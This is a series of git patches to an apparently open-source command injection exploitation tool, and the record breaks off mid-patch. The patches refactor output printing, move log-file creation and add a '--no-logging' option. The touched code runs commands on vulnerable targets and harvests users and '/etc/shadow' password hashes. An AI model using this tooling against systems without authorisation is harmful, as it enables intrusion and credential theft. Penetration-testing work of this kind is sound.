a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -411,12 +411,16 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 2ac5a0077f..97dfe1dd38 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -546,12 +546,17 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 848faab463..64733ad09b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -178,8 +178,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). + # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. @@ -419,12 +418,16 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ shell = "".join(str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index afe3683801..c10a02e45b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -522,12 +522,16 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + else: + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index e07f2459ba..acd9d990d1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -638,13 +638,16 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if shell != "": # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) + print(settings.SINGLE_WHITESPACE) if not shell or shell == "": - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL == 1: print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: diff --git a/src/core/main.py b/src/core/main.py index aadf90c7ff..0c41cbe025 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -506,7 +506,7 @@ def main(filename, url): pass # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts() + checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 5406a0a0cc..f3e07ab2c1 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -748,7 +748,9 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - print("\n") + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + print(settings.command_execution_output(shell)) raise SystemExit() else: @@ -803,7 +805,8 @@ def shellshock_handler(url, http_request_method, filename): sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload)+ "\n") err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) except KeyboardInterrupt: raise diff --git a/src/utils/settings.py b/src/utils/settings.py index 58d08b6d5f..fafe21a65d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -169,6 +169,11 @@ def print_bold_debug_msg(debug_msg): result = DEBUG_BOLD_SIGN + debug_msg + Style.RESET_ALL return result +# Print output of command execution +def command_execution_output(shell): + result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + return result + # argv checks def sys_argv_checks(): tamper_index = None @@ -225,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 2ba2e89ae847e5f0bcbfb28a3d179974f165d0fa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Apr 2022 08:09:23 +0300 Subject: [PATCH 0115/1023] Added a new option `--no-logging` (for disabling logging to a file). --- doc/CHANGELOG.md | 1 + src/core/main.py | 40 +---------------- src/utils/logs.py | 99 +++++++++++++++++++++++++++++++------------ src/utils/menu.py | 8 +++- src/utils/settings.py | 2 +- 5 files changed, 83 insertions(+), 67 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 65dcc59ab4..920701f0d3 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. diff --git a/src/core/main.py b/src/core/main.py index 0c41cbe025..f577d3a445 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -281,42 +281,6 @@ def init_injection(url): if settings.TIME_RELATIVE_ATTACK: settings.TIME_RELATIVE_ATTACK = False -""" -Logs filename creation. -""" -def logs_filename_creation(): - if menu.options.output_dir: - if os.path.isdir(menu.options.output_dir): - output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - else: - error_msg = "The '" + menu.options.output_dir + "' is not directory." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - else: - output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - - try: - os.stat(output_dir) - except: - try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - # The logs filename construction. - filename = logs.create_log_file(url, output_dir) - return filename - """ The main function. """ @@ -847,7 +811,7 @@ def main(filename, url): try: response, url = url_response(url) if response != False: - filename = logs_filename_creation() + filename = logs.logs_filename_creation(url) main(filename, url) except: pass @@ -867,7 +831,7 @@ def main(filename, url): url = menu.options.url response, url = url_response(url) if response != False: - filename = logs_filename_creation() + filename = logs.logs_filename_creation(url) main(filename, url) except KeyboardInterrupt: diff --git a/src/utils/logs.py b/src/utils/logs.py index 7546eaa9cd..2fede93cc3 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -30,6 +30,43 @@ 2. Check for logs updates and apply if any! """ +""" +Logs filename creation. +""" +def logs_filename_creation(url): + if menu.options.output_dir: + if os.path.isdir(menu.options.output_dir): + output_dir = menu.options.output_dir + if not output_dir.endswith("/"): + output_dir = output_dir + "/" + else: + error_msg = "The '" + menu.options.output_dir + "' is not directory." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + else: + output_dir = settings.OUTPUT_DIR + + # One directory up, if the script is being run under "/src". + output_dir = os.path.dirname(output_dir) + + try: + os.stat(output_dir) + except: + try: + os.mkdir(output_dir) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + + # The logs filename construction. + filename = create_log_file(url, output_dir) + + return filename + """ Create log files """ @@ -93,12 +130,13 @@ def create_log_file(url, output_dir): filename = output_dir + host + "/" + settings.OUTPUT_FILE try: output_file = open(filename, "a") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) + if not menu.options.no_logging: + output_file.write("\n" + "=" * 37) + output_file.write("\n" + "| Started in " + \ + datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ + " at " + '%H:%M:%S' + " |")) + output_file.write("\n" + "=" * 37) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) output_file.close() except IOError as err_msg: try: @@ -114,11 +152,13 @@ def create_log_file(url, output_dir): Add the injection type / technique in log files. """ def add_type_and_technique(export_injection_info, filename, injection_type, technique): + if export_injection_info == False: settings.SHOW_LOGS_MSG = True output_file = open(filename, "a") - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + if not menu.options.no_logging: + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) output_file.close() export_injection_info = True @@ -129,13 +169,14 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): output_file = open(filename, "a") - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") + if not menu.options.no_logging: + if header_name[1:] == "cookie": + header_name = " ("+ header_name[1:] + ") " + vuln_parameter + if header_name[1:] == "": + header_name = " ("+ http_request_method + ") " + vuln_parameter + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + vp_flag = False + output_file.write("\n") output_file.close() """ @@ -143,10 +184,11 @@ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, """ def update_payload(filename, counter, payload): output_file = open(filename, "a") - if "\n" in payload: - output_file.write(" (" +str(counter)+ ") Payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") - else: - output_file.write(" (" +str(counter)+ ") Payload: " + payload.replace("%20", " ") + "\n") + if not menu.options.no_logging: + if "\n" in payload: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + else: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n") output_file.close() """ @@ -156,8 +198,9 @@ def update_payload(filename, counter, payload): def executed_command(filename, cmd, output): try: output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(" " + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") output_file.close() except TypeError: pass @@ -167,17 +210,19 @@ def executed_command(filename, cmd, output): """ def logs_notification(filename): # Save command history. - info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." - print(settings.print_info_msg(info_msg)) + if not menu.options.no_logging: + info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'." + print(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. """ def log_traffic(header): output_file = open(menu.options.traffic_file, "a") - if type(header) is bytes: - header = header.decode(settings.DEFAULT_CODEC) - output_file.write(header) + if not menu.options.no_logging: + if type(header) is bytes: + header = header.decode(settings.DEFAULT_CODEC) + output_file.write(header) output_file.close() """ @@ -185,7 +230,7 @@ def log_traffic(header): """ def print_logs_notification(filename, url): checks.save_cmd_history() - if settings.SHOW_LOGS_MSG == True: + if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index d7eb5926ef..2f4b3074bc 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -567,7 +567,13 @@ def banner(): action="store_true", dest="list_tampers", default=False, - help="Display list of available tamper scripts") + help="Display list of available tamper scripts.") + +misc.add_option("--no-logging", + action="store_true", + dest="no_logging", + default=False, + help="Disable logging to a file.") misc.add_option("--purge", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index fafe21a65d..87719f8380 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 35a76f24abd000f4afdd17f2519b26c3f1443077 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Apr 2022 08:58:28 +0300 Subject: [PATCH 0116/1023] Trivial update --- src/core/injections/controller/controller.py | 8 +++++--- src/utils/settings.py | 4 ++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0d3d5ac7bf..6ba341de85 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -324,6 +324,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) + # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) @@ -854,9 +855,10 @@ def do_check(url, http_request_method, filename): err_msg += "." print(settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) + if not settings.MULTI_TARGETS: + logs.print_logs_notification(filename, url) + if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: - # if not menu.options.bulkfile or settings.EOF: - # print(settings.SINGLE_WHITESPACE) raise SystemExit() + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 87719f8380..89a3e10250 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1058,7 +1058,7 @@ def sys_argv_errors(): GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Default path for tamper scripts -TAMPER_SCRIPTS_PATH = "src/core/tamper/" +TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) # Default path for settings.py file SETTINGS_PATH = os.path.abspath("src/utils/settings.py") From cf3179b85a639e0440583db0010e43ef47f1f0fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 23 Apr 2022 09:18:30 +0300 Subject: [PATCH 0117/1023] Multiple fixes and updates --- .../techniques/time_based/tb_enumeration.py | 69 +++++++++------ .../techniques/time_based/tb_file_access.py | 49 +++++------ .../blind/techniques/time_based/tb_handler.py | 2 - .../techniques/classic/cb_enumeration.py | 75 +++++++++------- .../techniques/classic/cb_file_access.py | 53 ++++++------ .../techniques/classic/cb_handler.py | 2 +- .../techniques/eval_based/eb_enumeration.py | 69 +++++++++------ .../techniques/eval_based/eb_file_access.py | 55 +++++------- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/file_based/fb_enumeration.py | 65 ++++++++------ .../techniques/file_based/fb_file_access.py | 57 ++++++------- .../techniques/file_based/fb_handler.py | 85 +++++++++---------- .../tempfile_based/tfb_enumeration.py | 69 +++++++++------ .../tempfile_based/tfb_file_access.py | 48 +++++------ .../techniques/tempfile_based/tfb_handler.py | 4 +- src/core/modules/shellshock/shellshock.py | 75 +++++++++------- src/utils/settings.py | 6 +- 17 files changed, 425 insertions(+), 360 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 5e8ed6eb42..8ab74835c8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -58,8 +58,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -89,8 +90,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -149,9 +151,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -195,8 +198,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) @@ -206,14 +210,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL == 0 and _: @@ -223,8 +229,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -274,7 +281,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -306,7 +314,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese print("\n [" +str(count)+ "] '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" [" +str(count)+ "] " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -348,7 +357,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -363,7 +373,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -403,7 +414,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -413,7 +425,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -470,7 +483,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -482,7 +496,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti print(" [" +str(count)+ "] " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -493,7 +508,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti sys.stdout.write(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -507,6 +523,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) @@ -515,9 +533,10 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, return check_how_long, output else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n") + Fore.GREEN + Style.BRIGHT + str(output) + Style.RESET_ALL + "\n" - logs.print_logs_notification(filename, url) - raise SystemExit() + if settings.VERBOSITY_LEVEL <= 1: + print(settings.SINGLE_WHITESPACE) + 